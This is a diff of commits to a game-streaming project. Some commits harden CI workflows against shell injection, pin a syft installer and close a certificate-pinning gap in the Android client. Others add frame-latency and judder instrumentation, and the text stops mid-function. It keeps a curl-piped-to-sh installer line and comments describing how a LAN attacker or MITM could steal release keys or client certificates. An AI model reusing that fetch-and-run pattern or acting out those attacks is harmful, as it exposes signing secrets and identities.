Compare commits
10
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
3c25ff1a80 | ||
|
|
1099c94ca3 | ||
|
|
e5ba78ea66 | ||
|
|
d0d2399476 | ||
|
|
53278c6f5f | ||
|
|
fc5b6296e3 | ||
|
|
4a0d0ce587 | ||
|
|
0d94ef0dbe | ||
|
|
defdfbdb58 | ||
|
|
8103958169 |
@@ -41,9 +41,23 @@ jobs:
|
||||
env:
|
||||
REGISTRY_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
|
||||
UPDATE_MANIFEST_KEY: ${{ secrets.UPDATE_MANIFEST_KEY }}
|
||||
# Through the ENVIRONMENT, never interpolated into the script body. A `${{ }}` expansion
|
||||
# is a raw textual substitution performed BEFORE the shell sees the line, so a
|
||||
# workflow_dispatch input containing shell syntax executes as this step — and this is the
|
||||
# step holding UPDATE_MANIFEST_KEY, the Ed25519 key every host pins to decide whether an
|
||||
# update is real (2026-08-05 review H-6). As `$INPUT_TAG` it is only ever data.
|
||||
INPUT_TAG: ${{ inputs.tag }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
TAG="${{ inputs.tag }}"
|
||||
TAG="$INPUT_TAG"
|
||||
# Shape-check before the value reaches a URL or a filename: tags are `vX.Y.Z[-suffix]`.
|
||||
case "$TAG" in
|
||||
v[0-9]*) ;;
|
||||
*) echo "refusing to publish for a tag that is not vX.Y.Z: $TAG" >&2; exit 1 ;;
|
||||
esac
|
||||
case "$TAG" in
|
||||
*[!A-Za-z0-9.+_-]*) echo "tag has characters no release tag has: $TAG" >&2; exit 1 ;;
|
||||
esac
|
||||
case "$TAG" in
|
||||
*-*) echo "pre-release tag $TAG — not publishing to the stable update feed"; exit 0 ;;
|
||||
esac
|
||||
@@ -67,4 +81,7 @@ jobs:
|
||||
GITEA_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
|
||||
DISCORD_RELEASE_WEBHOOK: ${{ secrets.DISCORD_RELEASE_WEBHOOK }}
|
||||
ALLOW_PRERELEASE: ${{ inputs.allow_prerelease }}
|
||||
run: bash scripts/ci/discord-announce.sh "${{ inputs.tag }}"
|
||||
# Same reasoning as the publish step above: the input is data in the environment, never
|
||||
# text spliced into the command line.
|
||||
INPUT_TAG: ${{ inputs.tag }}
|
||||
run: bash scripts/ci/discord-announce.sh "$INPUT_TAG"
|
||||
|
||||
@@ -29,4 +29,9 @@ jobs:
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Tier-3 GPU stream benchmark
|
||||
run: bash scripts/bench/gpu-stream.sh "${{ inputs.mode || '1920x1080x120' }}" 12
|
||||
# Through the environment, not interpolated into the command line: a `${{ }}` expansion is
|
||||
# substituted before the shell parses the line, so an input carrying shell syntax would run
|
||||
# as this step (2026-08-05 review H-6).
|
||||
env:
|
||||
BENCH_MODE: ${{ inputs.mode || '1920x1080x120' }}
|
||||
run: bash scripts/bench/gpu-stream.sh "$BENCH_MODE" 12
|
||||
|
||||
@@ -20,6 +20,24 @@
|
||||
# REGISTRY_TOKEN: repo Actions secret, a PAT with write:package scope (app images only —
|
||||
# the LAN registry is unauthenticated inside the LAN).
|
||||
#
|
||||
# ⚠ OPEN FINDING — security-review-2026-08-05 H-6. That parenthetical is the whole problem.
|
||||
# Every secret-bearing job in this repo runs INSIDE an image pulled from this registry by a
|
||||
# MUTABLE tag (`:latest`), and the registry accepts pushes from any LAN peer. Attacker position #1
|
||||
# of the project's own threat model — an unauthenticated LAN peer — therefore does not need to
|
||||
# break any signing logic: they push one tag, and the next android.yml run executes their code in
|
||||
# the same job that does `echo "$RELEASE_KEYSTORE_BASE64" | base64 -d > release.jks`. Same shape
|
||||
# for rpm.yml (RPM_GPG_PRIVATE_KEY), android-promote.yml (SERVICE_ACCOUNT_JSON), and every other
|
||||
# consumer listed by `grep -l 192.168.1.58:5010 .gitea/workflows/`.
|
||||
#
|
||||
# The fix is two halves and only one of them lives in this repo:
|
||||
# 1. INFRA (unom/infra, runners/ci-core/): put auth in front of the registry, or move the
|
||||
# builder images to git.unom.io where pushes are already authenticated.
|
||||
# 2. HERE: once pushes are authenticated, pin consumers by `@sha256:` digest rather than
|
||||
# `:latest`, so a compromised push cannot retroactively change what a green run built.
|
||||
# Pinning by tag — including the content-keyed `$KEY` tags below — is NOT sufficient while
|
||||
# the registry is open, because a tag can simply be overwritten.
|
||||
# Neither half is done. The content-keying below bounds rebuild churn; it is not a trust boundary.
|
||||
#
|
||||
# Bootstrap note: consuming workflows pull <LAN>/punktfunk-rust-ci:latest, so the LAN
|
||||
# registry must hold a seeded :latest once (done 2026-07-29 from the last Gitea-registry
|
||||
# images); after that, this workflow keeps :latest current whenever ci/ changes.
|
||||
|
||||
@@ -38,10 +38,18 @@ jobs:
|
||||
with:
|
||||
fetch-depth: 0
|
||||
# Pinned syft (keep in sync with the version validated against this repo; bump deliberately).
|
||||
#
|
||||
# The BINARY version was pinned; the INSTALLER was not — it was fetched from `main` and piped
|
||||
# into a shell, so whatever that branch happened to say at job time ran here, with the job's
|
||||
# environment (2026-08-05 review H-6). Pinning the script to the same tag as the binary makes
|
||||
# the whole step reproducible: bump the tag in both places together.
|
||||
- name: Install syft
|
||||
env:
|
||||
SYFT_VERSION: v1.49.0
|
||||
run: |
|
||||
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh \
|
||||
| sh -s -- -b /usr/local/bin v1.49.0
|
||||
set -euo pipefail
|
||||
curl -sSfL "https://raw.githubusercontent.com/anchore/syft/${SYFT_VERSION}/install.sh" \
|
||||
| sh -s -- -b /usr/local/bin "$SYFT_VERSION"
|
||||
- name: Generate SBOM
|
||||
run: |
|
||||
git config --global --add safe.directory "$PWD"
|
||||
|
||||
@@ -127,8 +127,14 @@ object LibraryClient {
|
||||
* An OkHttpClient that presents the paired client cert and pins the host's self-signed cert by
|
||||
* SHA-256(DER) — reused for BOTH the library fetch and the cover-art loads (so a paired client
|
||||
* reaches the host's own art proxy). The pinning trust manager trusts the host by fingerprint and
|
||||
* defers to normal public trust for any other origin (an external CDN URL); the hostname verifier
|
||||
* accepts the pinned host (whose self-signed cert has no matching SAN) and defers otherwise.
|
||||
* defers to normal public trust for any other origin (an external CDN URL).
|
||||
*
|
||||
* The two checks are only sound TOGETHER, and the composition is the point: the trust manager
|
||||
* cannot fail closed on its own (it has no hostname, so it must let a CDN chain through), so the
|
||||
* hostname verifier is what makes the pinned host pin-only. Loosen either and a publicly-trusted
|
||||
* certificate for any name is accepted for the host — which is exactly what 2026-08-05 review M-2
|
||||
* found. The host's own cert is self-signed with no matching SAN, so it can never satisfy the
|
||||
* default verifier; the pin is its only credential, on purpose.
|
||||
*/
|
||||
fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String): OkHttpClient {
|
||||
val clientCert = CertificateFactory.getInstance("X.509")
|
||||
@@ -162,7 +168,26 @@ fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String)
|
||||
|
||||
val defaultVerifier = HttpsURLConnection.getDefaultHostnameVerifier()
|
||||
val verifier = HostnameVerifier { hostname, session ->
|
||||
hostname == host || defaultVerifier.verify(hostname, session)
|
||||
if (hostname == host) {
|
||||
// The PINNED host fails closed: only the pinned leaf is acceptable for this name.
|
||||
//
|
||||
// This used to be a bare `hostname == host`, which composed with the trust manager's
|
||||
// system-CA fall-through into "any publicly-trusted certificate, for any name, is
|
||||
// accepted for the pinned host" — the pin was decorative (2026-08-05 review M-2). A
|
||||
// MITM with any free CA-issued cert intercepted the connection, received the client's
|
||||
// mTLS IDENTITY certificate, and served attacker-chosen library JSON and art URLs.
|
||||
// The Rust (`pf-client-core`) and Apple (`ClientTLS`) paths already fail closed here;
|
||||
// only Android did not.
|
||||
try {
|
||||
sha256Hex((session.peerCertificates.firstOrNull() as? X509Certificate)?.encoded ?: return@HostnameVerifier false) == pinned
|
||||
} catch (_: Exception) {
|
||||
false
|
||||
}
|
||||
} else {
|
||||
// Any other origin (an external CDN art URL) is ordinary public trust: the system
|
||||
// trust manager validated the chain, and this checks the name against it.
|
||||
defaultVerifier.verify(hostname, session)
|
||||
}
|
||||
}
|
||||
|
||||
return OkHttpClient.Builder()
|
||||
|
||||
@@ -28,6 +28,76 @@ use super::{
|
||||
NO_VIDEO_RETRY, PENDING_SPLIT_CAP,
|
||||
};
|
||||
|
||||
/// How long a flagged AU waits for the host's 0xCF timing before being logged unattributed.
|
||||
/// Comfortably longer than the round the host takes to report, short enough that the line still
|
||||
/// lands near the event in the log.
|
||||
const SPIKE_ATTRIBUTE_WAIT_NS: i64 = 500_000_000;
|
||||
|
||||
/// Bound on AUs awaiting attribution — a stream that spikes constantly must not grow this.
|
||||
const SPIKE_WATCH_CAP: usize = 64;
|
||||
|
||||
/// One receipt-latency excursion, held until the host's own timing for the same AU arrives.
|
||||
///
|
||||
/// The point of this record is attribution. A window maximum cannot say WHERE a 90 ms frame
|
||||
/// spent its time — the per-stage maxima in a window are generally different frames — so the
|
||||
/// stage split has to be captured per AU, for the offending AU.
|
||||
struct SpikeWatch {
|
||||
pts_ns: u64,
|
||||
/// Capture → reassembled, skew-corrected: the host pipeline plus the wire.
|
||||
hostnet_us: u64,
|
||||
au_len: usize,
|
||||
/// Since the previous AU was reassembled — separates "this frame was slow" from "the
|
||||
/// stream stalled and then burst", which look identical in a latency percentile.
|
||||
gap_us: u64,
|
||||
idx: u32,
|
||||
seen_mono: i64,
|
||||
}
|
||||
|
||||
impl SpikeWatch {
|
||||
/// `host_us` = the host's own capture→submit time for this AU (0xCF), or `None` when the
|
||||
/// host never reported it. `net` is the remainder: wire + reassembly.
|
||||
fn log(&self, host_us: Option<u64>) {
|
||||
log::warn!(
|
||||
target: "pf.spike",
|
||||
"idx={} hostnetMs={:.1} hostMs={} netMs={} gapMs={:.1} bytes={}",
|
||||
self.idx,
|
||||
self.hostnet_us as f64 / 1000.0,
|
||||
host_us.map_or("?".into(), |h| format!("{:.1}", h as f64 / 1000.0)),
|
||||
host_us.map_or("?".into(), |h| format!(
|
||||
"{:.1}",
|
||||
self.hostnet_us.saturating_sub(h) as f64 / 1000.0
|
||||
)),
|
||||
self.gap_us as f64 / 1000.0,
|
||||
self.au_len,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// `debug.punktfunk.spike_ms` (1..=2000): log a per-AU stage breakdown for every receipt latency
|
||||
/// at or above this. Unset = off, so the instrument costs nothing until someone asks for it.
|
||||
fn spike_threshold_us() -> Option<u64> {
|
||||
let mut buf = [0u8; 92]; // PROP_VALUE_MAX
|
||||
// SAFETY: __system_property_get with a valid name + PROP_VALUE_MAX buffer is always safe.
|
||||
let n = unsafe {
|
||||
libc::__system_property_get(
|
||||
c"debug.punktfunk.spike_ms".as_ptr(),
|
||||
buf.as_mut_ptr().cast(),
|
||||
)
|
||||
};
|
||||
if n > 0 {
|
||||
if let Ok(ms) = std::str::from_utf8(&buf[..n as usize])
|
||||
.unwrap_or("")
|
||||
.trim()
|
||||
.parse::<u64>()
|
||||
{
|
||||
if (1..=2_000).contains(&ms) {
|
||||
return Some(ms * 1_000);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// One decoded output buffer ready to release: its codec buffer index + the pts the codec echoed
|
||||
/// (from the output callback's `BufferInfo`), used to pair the `decode` HUD stat, and the
|
||||
/// wall-clock instant the output callback fired — the spec's `decoded` point ("decoder output
|
||||
@@ -584,6 +654,14 @@ fn feeder_loop(
|
||||
// Last logged phase-lock ACK (the host's applied capture hold, from the 0xCF tail) — logged
|
||||
// on change so `adb logcat -s pf.phase` shows the closed loop working (or not) at a glance.
|
||||
let mut last_phase_ack: Option<i32> = None;
|
||||
// Latency-excursion watch (`debug.punktfunk.spike_ms`). Read once per stream: this is a
|
||||
// field instrument, armed by setprop + reconnect, and off by default.
|
||||
let spike_thresh_us = spike_threshold_us();
|
||||
if let Some(t) = spike_thresh_us {
|
||||
log::info!("decode: spike watch armed at {} ms (pf.spike)", t / 1000);
|
||||
}
|
||||
let mut spike_watch: VecDeque<SpikeWatch> = VecDeque::new();
|
||||
let mut last_recv_mono: Option<i64> = None;
|
||||
while !shutdown.load(Ordering::Relaxed) {
|
||||
match client.next_frame(Duration::from_millis(5)) {
|
||||
Ok(frame) => {
|
||||
@@ -599,6 +677,44 @@ fn feeder_loop(
|
||||
// Park the receipt stamp (keyed by the pts the codec echoes) whenever the `decode`
|
||||
// stage is consumed: the HUD, or the ABR decode signal (`measure_decode`). The
|
||||
// HUD-only `received` point + host/network split stay gated on the overlay.
|
||||
// The receipt latency is needed by the always-on spike watch below, so it is
|
||||
// computed for every complete AU rather than only when the HUD is up.
|
||||
let spike_lat_us = if frame.complete {
|
||||
let received_ns = if frame.received_ns > 0 {
|
||||
frame.received_ns as i128
|
||||
} else {
|
||||
now_realtime_ns()
|
||||
};
|
||||
let off = clock_offset.load(Ordering::Relaxed) as i128;
|
||||
let lat_ns = received_ns + off - frame.pts_ns as i128;
|
||||
(lat_ns > 0 && lat_ns < 10_000_000_000).then_some((lat_ns / 1000) as u64)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
if let (Some(thresh_us), Some(lat_us)) = (spike_thresh_us, spike_lat_us) {
|
||||
let now_mono = now_monotonic_ns();
|
||||
let gap_us = last_recv_mono
|
||||
.map(|p| ((now_mono - p) / 1000) as u64)
|
||||
.unwrap_or(0);
|
||||
last_recv_mono = Some(now_mono);
|
||||
if lat_us >= thresh_us {
|
||||
let au_len = frame.part.map_or(0, |p| p.offset as usize) + frame.data.len();
|
||||
// Held for the host's 0xCF timing for this pts, which is what splits the
|
||||
// excursion into host pipeline vs wire — the whole point. Emitted
|
||||
// unattributed if that never arrives (see the drain below).
|
||||
spike_watch.push_back(SpikeWatch {
|
||||
pts_ns: frame.pts_ns,
|
||||
hostnet_us: lat_us,
|
||||
au_len,
|
||||
gap_us,
|
||||
idx: frame.frame_index,
|
||||
seen_mono: now_mono,
|
||||
});
|
||||
if spike_watch.len() > SPIKE_WATCH_CAP {
|
||||
spike_watch.pop_front();
|
||||
}
|
||||
}
|
||||
}
|
||||
if (stats.enabled() || measure_decode) && frame.complete {
|
||||
// Core reassembly-completion stamp (ABI v9), NOT the pull instant: stamping
|
||||
// here would fold the hand-off queue wait into the network latency figure
|
||||
@@ -632,28 +748,47 @@ fn feeder_loop(
|
||||
pending_split.pop_front();
|
||||
}
|
||||
}
|
||||
while let Ok(t) = client.next_host_timing(Duration::ZERO) {
|
||||
// Phase-lock closed-loop readout: the host's applied hold rides the
|
||||
// 0xCF tail; log transitions (~1 Hz worst case — the host updates it
|
||||
// once a second). None = a host without the tail (pre-phase-lock).
|
||||
if t.applied_phase_ns != last_phase_ack {
|
||||
log::info!(
|
||||
target: "pf.phase",
|
||||
"host applied_phase={:?}us",
|
||||
t.applied_phase_ns.map(|n| n / 1000)
|
||||
);
|
||||
last_phase_ack = t.applied_phase_ns;
|
||||
}
|
||||
if let Some(i) = pending_split.iter().position(|&(p, _)| p == t.pts_ns)
|
||||
{
|
||||
let (_, hostnet_us) = pending_split.remove(i).unwrap();
|
||||
stats.note_host_split(
|
||||
t.host_us as u64,
|
||||
hostnet_us.saturating_sub(t.host_us as u64),
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
// The 0xCF drain is OUTSIDE the HUD gate: it carries the host's own pipeline time
|
||||
// per AU, which is what attributes a latency excursion to the host or the wire,
|
||||
// and the phase-lock ack, which had no business being invisible with the HUD down.
|
||||
while let Ok(t) = client.next_host_timing(Duration::ZERO) {
|
||||
// Phase-lock closed-loop readout: the host's applied hold rides the
|
||||
// 0xCF tail; log transitions (~1 Hz worst case — the host updates it
|
||||
// once a second). None = a host without the tail (pre-phase-lock).
|
||||
if t.applied_phase_ns != last_phase_ack {
|
||||
log::info!(
|
||||
target: "pf.phase",
|
||||
"host applied_phase={:?}us",
|
||||
t.applied_phase_ns.map(|n| n / 1000)
|
||||
);
|
||||
last_phase_ack = t.applied_phase_ns;
|
||||
}
|
||||
if stats.enabled() {
|
||||
if let Some(i) = pending_split.iter().position(|&(p, _)| p == t.pts_ns) {
|
||||
let (_, hostnet_us) = pending_split.remove(i).unwrap();
|
||||
stats.note_host_split(
|
||||
t.host_us as u64,
|
||||
hostnet_us.saturating_sub(t.host_us as u64),
|
||||
);
|
||||
}
|
||||
}
|
||||
if let Some(i) = spike_watch.iter().position(|w| w.pts_ns == t.pts_ns) {
|
||||
let w = spike_watch.remove(i).unwrap();
|
||||
w.log(Some(t.host_us as u64));
|
||||
}
|
||||
}
|
||||
// Anything the host never reported on still gets logged, unattributed, rather
|
||||
// than silently dropped — an old host has no 0xCF tail at all.
|
||||
let now_mono = now_monotonic_ns();
|
||||
while spike_watch
|
||||
.front()
|
||||
.is_some_and(|w| now_mono - w.seen_mono > SPIKE_ATTRIBUTE_WAIT_NS)
|
||||
{
|
||||
if let Some(w) = spike_watch.pop_front() {
|
||||
w.log(None);
|
||||
}
|
||||
}
|
||||
if ev_tx.send(DecodeEvent::Au(frame, gap)).is_err() {
|
||||
break; // the decode loop is gone
|
||||
|
||||
@@ -185,7 +185,7 @@ unsafe extern "C" fn on_frame_rendered(
|
||||
let display_us = paired.and_then(|(d, _)| clamp(displayed_ns - d));
|
||||
let latch_us = paired.and_then(|(_, r)| clamp(displayed_ns - r));
|
||||
// Always-on half: the presenter's pf-present line reads these with the HUD off.
|
||||
t.meter.note_latch(latch_us);
|
||||
t.meter.note_latch(latch_us, system_nano);
|
||||
if !t.stats.enabled() {
|
||||
return; // HUD hidden — skip the skew math + the stats lock
|
||||
}
|
||||
|
||||
@@ -22,7 +22,7 @@
|
||||
|
||||
use ndk::media::media_codec::MediaCodec;
|
||||
use std::collections::VecDeque;
|
||||
use std::sync::atomic::{AtomicBool, AtomicI32, Ordering};
|
||||
use std::sync::atomic::{AtomicBool, AtomicI32, AtomicI64, Ordering};
|
||||
use std::sync::Mutex;
|
||||
use std::time::Instant;
|
||||
|
||||
@@ -152,6 +152,10 @@ pub(super) struct PresentMeter {
|
||||
/// This device delivers render callbacks at all (API ≥ 33 and the platform accepted the
|
||||
/// registration). Until one arrives, `undisplayed` is meaningless and the rail stays down.
|
||||
confirms: AtomicBool,
|
||||
/// The learned panel period the cadence statistic quantises against, republished by
|
||||
/// [`Presenter::pump`] (the callback thread has no access to the vsync clock). 0 until the
|
||||
/// grid is known, which simply means cadence is not scored yet.
|
||||
panel_period_ns: AtomicI64,
|
||||
}
|
||||
|
||||
struct PresentMeterInner {
|
||||
@@ -166,6 +170,9 @@ struct PresentMeterInner {
|
||||
/// Capture→decoded end-to-end µs (skew-corrected, clamped) — always on for the same reason:
|
||||
/// the wireless A/B's headline without having to reach the on-screen HUD.
|
||||
e2e_us: Vec<u64>,
|
||||
/// The cadence (judder) statistic — the only stat here that is not a latency, and the only
|
||||
/// one that can see a pacing defect. See [`punktfunk_core::phase::PresentIntervals`].
|
||||
intervals: punktfunk_core::phase::PresentIntervals,
|
||||
}
|
||||
|
||||
impl PresentMeter {
|
||||
@@ -177,19 +184,33 @@ impl PresentMeter {
|
||||
feed_us: Vec::with_capacity(256),
|
||||
codec_us: Vec::with_capacity(256),
|
||||
e2e_us: Vec::with_capacity(256),
|
||||
intervals: punktfunk_core::phase::PresentIntervals::new(),
|
||||
}),
|
||||
undisplayed: AtomicI32::new(0),
|
||||
confirms: AtomicBool::new(false),
|
||||
panel_period_ns: AtomicI64::new(0),
|
||||
}
|
||||
}
|
||||
|
||||
/// Republish the learned panel period for the cadence statistic (presenter thread).
|
||||
pub(super) fn set_panel_period(&self, period_ns: i64) {
|
||||
self.panel_period_ns.store(period_ns, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
/// One displayed frame's release→displayed latch, µs. Callback thread; poison-proof.
|
||||
///
|
||||
/// Also the glass budget's CONFIRM: this frame left the BufferQueue, so one outstanding
|
||||
/// release is settled. Clamped at zero — the legacy `arrival` path renders without going
|
||||
/// through [`Presenter::pump`], so confirms can outnumber counted releases.
|
||||
pub(super) fn note_latch(&self, latch_us: Option<u64>) {
|
||||
///
|
||||
/// `present_mono_ns` is SurfaceFlinger's own render timestamp, raw on `CLOCK_MONOTONIC` —
|
||||
/// deliberately not the realtime-rebased instant the latency stats use. Cadence is a
|
||||
/// statistic about *spacing*, and a realtime clock step (NTP) would forge a hitch that never
|
||||
/// happened. Garbage stamps need no special handling here: an implausible one lands in the
|
||||
/// stall or disordered counters rather than the judder ratio.
|
||||
pub(super) fn note_latch(&self, latch_us: Option<u64>, present_mono_ns: i64) {
|
||||
self.confirms.store(true, Ordering::Relaxed);
|
||||
let period_ns = self.panel_period_ns.load(Ordering::Relaxed);
|
||||
let _ = self
|
||||
.undisplayed
|
||||
.fetch_update(Ordering::Relaxed, Ordering::Relaxed, |v| {
|
||||
@@ -200,6 +221,7 @@ impl PresentMeter {
|
||||
.lock()
|
||||
.unwrap_or_else(std::sync::PoisonError::into_inner);
|
||||
g.displays += 1;
|
||||
g.intervals.record(present_mono_ns, period_ns);
|
||||
if let Some(l) = latch_us {
|
||||
if g.latch_us.len() < 4096 {
|
||||
g.latch_us.push(l);
|
||||
@@ -258,7 +280,17 @@ impl PresentMeter {
|
||||
}
|
||||
|
||||
#[allow(clippy::type_complexity)] // one caller unpacks it in place; a struct would be noise
|
||||
fn drain(&self) -> (Vec<u64>, u64, Vec<u64>, Vec<u64>, Vec<u64>) {
|
||||
fn drain(
|
||||
&self,
|
||||
) -> (
|
||||
Vec<u64>,
|
||||
u64,
|
||||
Vec<u64>,
|
||||
Vec<u64>,
|
||||
Vec<u64>,
|
||||
(u32, u32, u32),
|
||||
Option<punktfunk_core::phase::PresentCadence>,
|
||||
) {
|
||||
let mut g = self
|
||||
.inner
|
||||
.lock()
|
||||
@@ -271,6 +303,8 @@ impl PresentMeter {
|
||||
std::mem::take(&mut g.feed_us),
|
||||
std::mem::take(&mut g.codec_us),
|
||||
std::mem::take(&mut g.e2e_us),
|
||||
g.intervals.pending(),
|
||||
g.intervals.take(),
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -410,6 +444,11 @@ impl Presenter {
|
||||
stats: &crate::stats::VideoStats,
|
||||
now_mono_ns: i64,
|
||||
) -> bool {
|
||||
// The callback thread scores cadence but cannot see the vsync clock — republish the grid
|
||||
// it quantises against. Relaxed: a period change is rare and one stale sample is noise.
|
||||
if let Some(c) = clock {
|
||||
meter.set_panel_period(c.panel_period_ns().max(c.period_ns()));
|
||||
}
|
||||
// Budget bookkeeping first: reopen on the predicted latch, force-open on the backstop.
|
||||
if let Some(f) = &self.inflight {
|
||||
if now_mono_ns >= f.reopen_at_ns {
|
||||
@@ -547,7 +586,11 @@ impl Presenter {
|
||||
/// `pace` (decoded→release) / `latch` (release→displayed) /
|
||||
/// `feed`+`codec` (the decode stage split: received→queued hand-off/slot wait + the
|
||||
/// codec-pure queued→decoded time) / `e2e` (capture→decoded, skew-corrected — the wireless
|
||||
/// A/B headline) / `vsync` (the measured panel period).
|
||||
/// A/B headline) / `vsync` (the measured panel period) /
|
||||
/// `judder` (‰ of present intervals off the modal spacing — the cadence statistic, and the
|
||||
/// only number here that can see a pacing defect) / `mode` (the modal spacing in refreshes:
|
||||
/// 1 at panel rate, 2 for 60-on-120) / `stalls` + `disorder` (excluded from the ratio; see
|
||||
/// [`punktfunk_core::phase::PresentIntervals`]).
|
||||
///
|
||||
/// Returns this window's CIRCULAR latch statistics `(vector-mean latch ns mod panel period,
|
||||
/// coherence ‰)` when a window actually flushed — the phase-lock reporter's v2 error signal
|
||||
@@ -561,7 +604,7 @@ impl Presenter {
|
||||
return None;
|
||||
}
|
||||
self.last_flush = Instant::now();
|
||||
let (latch, displays, feed, codec, e2e) = meter.drain();
|
||||
let (latch, displays, feed, codec, e2e, cad_raw, cadence) = meter.drain();
|
||||
if self.released == 0 && displays == 0 {
|
||||
return None; // idle stream — nothing worth a line
|
||||
}
|
||||
@@ -584,7 +627,8 @@ impl Presenter {
|
||||
paceMs p50={:.2} max={:.2} latchMs p50={:.2} max={:.2} \
|
||||
feedMs p50={:.2} max={:.2} codecMs p50={:.2} max={:.2} \
|
||||
e2eMs p50={:.2} max={:.2} circ={:.2}ms coh={} \
|
||||
vsyncMs={:.2} panelMs={:.2}",
|
||||
vsyncMs={:.2} panelMs={:.2} \
|
||||
judder={}permille mode={}vsync cadN={} stalls={} disorder={} cadPeriodMs={:.2}",
|
||||
self.released,
|
||||
displays,
|
||||
self.paced_drops,
|
||||
@@ -607,6 +651,12 @@ impl Presenter {
|
||||
circ.map(|(_, c)| c).unwrap_or(0),
|
||||
period_ms,
|
||||
panel_ns as f64 / 1e6,
|
||||
cadence.map(|c| c.judder_permille).unwrap_or(0),
|
||||
cadence.map(|c| c.mode_units).unwrap_or(0),
|
||||
cad_raw.0,
|
||||
cad_raw.1,
|
||||
cad_raw.2,
|
||||
meter.panel_period_ns.load(Ordering::Relaxed) as f64 / 1e6,
|
||||
);
|
||||
self.released = 0;
|
||||
// Margin adaptation, off the MEASURED latch. A release targets the first grid point past
|
||||
|
||||
@@ -474,6 +474,7 @@ private final class DeadlineLinkDelegate: NSObject, CAMetalDisplayLinkDelegate {
|
||||
// The link's own pipeline depth, measured: how far ahead of glass this vend runs.
|
||||
let leadS = update.targetPresentationTimestamp - CACurrentMediaTime()
|
||||
stats?.vendLead(ms: leadS * 1000)
|
||||
stats?.notePanelTarget(mediaTime: update.targetPresentationTimestamp)
|
||||
// Same measurement into the floor meter (as a LatencyMeter sample: end = now, start =
|
||||
// now − lead) — its 1 s p50 is the OS present floor SessionModel shaves off.
|
||||
if leadS > 0, let floorMeter {
|
||||
@@ -562,6 +563,112 @@ final class PresentGate: @unchecked Sendable {
|
||||
}
|
||||
}
|
||||
|
||||
/// One window's present-cadence summary (see `PresentIntervals`).
|
||||
struct PresentCadence: Equatable {
|
||||
/// The most common spacing, in whole panel refreshes: 1 at panel rate, 2 for 60-on-120.
|
||||
let modeUnits: Int
|
||||
/// Fraction of intervals that were NOT the mode, in ‰. **The judder number.**
|
||||
let judderPermille: Int
|
||||
let samples: Int
|
||||
/// Spacings wider than `maxUnits` — stalls, not judder.
|
||||
let stalls: Int
|
||||
/// Present instants that did not advance (duplicate/out-of-order callbacks).
|
||||
let disordered: Int
|
||||
}
|
||||
|
||||
/// Present-interval distribution in whole panel refreshes — the cadence (judder) statistic.
|
||||
///
|
||||
/// A **verbatim port of `punktfunk_core::phase::PresentIntervals`**, in the same spirit as
|
||||
/// `PhaseReporter.circularLatch` above: the three clients must publish the SAME statistic, so the
|
||||
/// numbers can be compared across platforms and so a feature-on/off A/B uses one ruler. Any change
|
||||
/// here belongs in the Rust original first — including the tie-break, which is spelled out on both
|
||||
/// sides precisely because the two languages' `max` disagree about which equal element wins.
|
||||
///
|
||||
/// Every other stat we publish is a latency: a difference between two points on one frame. No
|
||||
/// latency can see judder, because judder is a property of the *sequence*. A stream that shows each
|
||||
/// frame one refresh early and the next one late has excellent percentiles and looks broken.
|
||||
///
|
||||
/// Fed the MEASURED on-glass instant, never the requested present time — the latter would measure
|
||||
/// our own intent and report a perfect cadence no matter what the display did.
|
||||
struct PresentIntervals {
|
||||
/// Largest spacing still treated as cadence; wider is a stall, counted apart.
|
||||
private static let maxUnits = 8
|
||||
/// Minimum intervals before a summary means anything (matches `circularLatch`'s bar).
|
||||
private static let minSamples = 8
|
||||
/// A backwards step larger than this is a bogus timestamp, not a reordered delivery, so the
|
||||
/// run re-anchors rather than holding the old instant. Without it, one garbage far-future
|
||||
/// stamp latches the statistic and every later present scores as disordered for the whole
|
||||
/// session — observed on glass on Android, 2026-08-05.
|
||||
private static let reanchorNs: Int64 = 100_000_000
|
||||
|
||||
private var lastPresentNs: Int64 = 0
|
||||
private var hist = [Int](repeating: 0, count: PresentIntervals.maxUnits + 1)
|
||||
private var samples = 0
|
||||
private var stalls = 0
|
||||
private var disordered = 0
|
||||
|
||||
/// Forget the previous instant without discarding the window's counts — a discontinuity where
|
||||
/// the next present does not continue this cadence.
|
||||
mutating func split() { lastPresentNs = 0 }
|
||||
|
||||
/// Fold one on-glass instant. A non-positive `periodNs` means the grid is not known yet and
|
||||
/// the sample is held as the new predecessor without being scored.
|
||||
mutating func record(presentNs: Int64, periodNs: Int64) {
|
||||
let prev = lastPresentNs
|
||||
lastPresentNs = presentNs
|
||||
guard prev > 0, periodNs > 0 else { return }
|
||||
let spacing = presentNs - prev
|
||||
if spacing <= 0 {
|
||||
// Hold the LATER instant so one reordered delivery cannot corrupt every following
|
||||
// spacing — but only when the step back is small enough to BE a reordering. Beyond
|
||||
// that the old instant is the bogus one (see `reanchorNs`) and the run re-anchors
|
||||
// onto the new sample, which `lastPresentNs` already holds.
|
||||
disordered += 1
|
||||
if prev - presentNs < PresentIntervals.reanchorNs {
|
||||
lastPresentNs = prev
|
||||
}
|
||||
return
|
||||
}
|
||||
// Nearest whole refresh: a present is "on the grid" if it is closer to this vblank than
|
||||
// the next, which is exactly what the display did with it.
|
||||
let units = Int((spacing * 2 + periodNs) / (periodNs * 2))
|
||||
if units > PresentIntervals.maxUnits {
|
||||
stalls += 1
|
||||
return
|
||||
}
|
||||
hist[units] += 1
|
||||
samples += 1
|
||||
}
|
||||
|
||||
/// This window's summary, or nil under `minSamples`.
|
||||
func summary() -> PresentCadence? {
|
||||
guard samples >= PresentIntervals.minSamples else { return nil }
|
||||
// Ties resolve to the SMALLEST spacing — see the Rust original: `max_by_key` takes the
|
||||
// last maximum and Swift's `max(by:)` the first, so this is written out on both sides.
|
||||
var modeUnits = 0
|
||||
var modeCount = 0
|
||||
for (i, c) in hist.enumerated() where c > modeCount {
|
||||
modeCount = c
|
||||
